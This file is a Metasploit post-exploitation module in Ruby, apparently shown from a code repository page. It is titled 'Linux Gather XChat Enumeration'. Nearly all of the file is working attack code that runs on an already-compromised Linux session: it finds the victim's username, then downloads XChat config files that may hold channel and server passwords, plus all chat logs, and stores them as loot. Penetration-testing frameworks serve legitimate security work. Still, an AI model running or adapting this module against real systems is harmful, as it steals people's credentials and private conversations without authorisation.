165 lines
3.9 KiB
Ruby
165 lines
3.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::File
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Linux Gather XChat Enumeration',
|
|
'Description' => %q{
|
|
This module will collect XChat's config files and chat logs from the victim's
|
|
machine. There are three actions you may choose: CONFIGS, CHATS, and ALL. The
|
|
CONFIGS option can be used to collect information such as channel settings,
|
|
channel/server passwords, etc. The CHATS option will simply download all the
|
|
.log files.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'sinn3r'],
|
|
'Platform' => [ 'linux' ],
|
|
# linux meterpreter is too busted to support right now,
|
|
# will come back and add support once it's more usable.
|
|
'SessionTypes' => [ 'shell' ],
|
|
'Actions' =>
|
|
[
|
|
['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ],
|
|
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
|
|
['ALL', { 'Description' => 'Collect both the plists and chat logs'}]
|
|
],
|
|
'DefaultAction' => 'ALL'
|
|
))
|
|
end
|
|
|
|
def get_file(file)
|
|
tries = 0
|
|
print_status("#{@peer} - Downloading #{file}")
|
|
|
|
begin
|
|
buf = read_file(file)
|
|
buf = '' if buf =~ /No such file or directory/
|
|
rescue ::Timeout::Error => e
|
|
tries += 1
|
|
if tries < 3
|
|
vprint_error("#{@peer} - #{e.message} - retrying...")
|
|
retry
|
|
end
|
|
buf = ''
|
|
rescue EOFError => e
|
|
tries += 1
|
|
if tries < 3
|
|
vprint_error("#{@peer} - #{e.message} - retrying...")
|
|
retry
|
|
end
|
|
buf = ''
|
|
end
|
|
|
|
return buf
|
|
end
|
|
|
|
def whoami
|
|
user = cmd_exec("whoami").chomp
|
|
return user
|
|
end
|
|
|
|
def list_logs(base)
|
|
list = cmd_exec("ls -l #{base}*.log")
|
|
|
|
return [] if list =~ /No such file or directory/
|
|
files = list.scan(/\d+\x20\w{3}\x20\d+\x20\d{2}\:\d{2}\x20(.+)$/).flatten
|
|
|
|
return files
|
|
end
|
|
|
|
def save(type, data)
|
|
case type
|
|
when :configs
|
|
type = 'xchat.config'
|
|
when :chatlogs
|
|
type = 'xchat.chatlogs'
|
|
end
|
|
|
|
data.each do |d|
|
|
fname = ::File.basename(d[:filename])
|
|
p = store_loot(
|
|
type,
|
|
'text/plain',
|
|
session,
|
|
d[:data],
|
|
fname
|
|
)
|
|
|
|
print_good("#{@peer} - #{fname} saved as #{p}")
|
|
end
|
|
end
|
|
|
|
def get_chatlogs(base)
|
|
base << "xchatlogs/"
|
|
|
|
logs = []
|
|
|
|
list_logs(base).each do |l|
|
|
vprint_status("#{@peer} - Downloading: #{l}")
|
|
data = read_file(l)
|
|
logs << {
|
|
:filename => l,
|
|
:data => data
|
|
}
|
|
end
|
|
|
|
return logs
|
|
end
|
|
|
|
def get_configs(base)
|
|
config = []
|
|
files = ['servlist_.conf', 'xchat.conf']
|
|
files.each do |f|
|
|
vprint_status("#{@peer} - Downloading: #{base + f}")
|
|
buf = read_file(base + f)
|
|
next if buf.empty?
|
|
config << {
|
|
:filename => f,
|
|
:data => buf
|
|
}
|
|
end
|
|
|
|
return config
|
|
end
|
|
|
|
def run
|
|
if action.nil?
|
|
print_error("Please specify an action")
|
|
return
|
|
end
|
|
|
|
@peer = "#{session.session_host}:#{session.session_port}"
|
|
|
|
user = whoami
|
|
if user.nil?
|
|
print_error("#{@peer} - Unable to get username, abort.")
|
|
return
|
|
end
|
|
|
|
base = "/home/#{user}/.xchat2/"
|
|
|
|
configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i
|
|
chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i
|
|
|
|
save(:configs, configs) if not configs.empty?
|
|
save(:chatlogs, chatlogs) if not chatlogs.empty?
|
|
end
|
|
|
|
end
|
|
|
|
=begin
|
|
Linux xchat path:
|
|
/home/[username]/.xchat2/
|
|
* /home/[username]/.xchat2/servlist_.conf
|
|
* /home/[username]/.xchat2/xchat.conf
|
|
* /home/[username]/.xchat2/xchatlogs/FreeNode-#aha.log
|
|
=end
|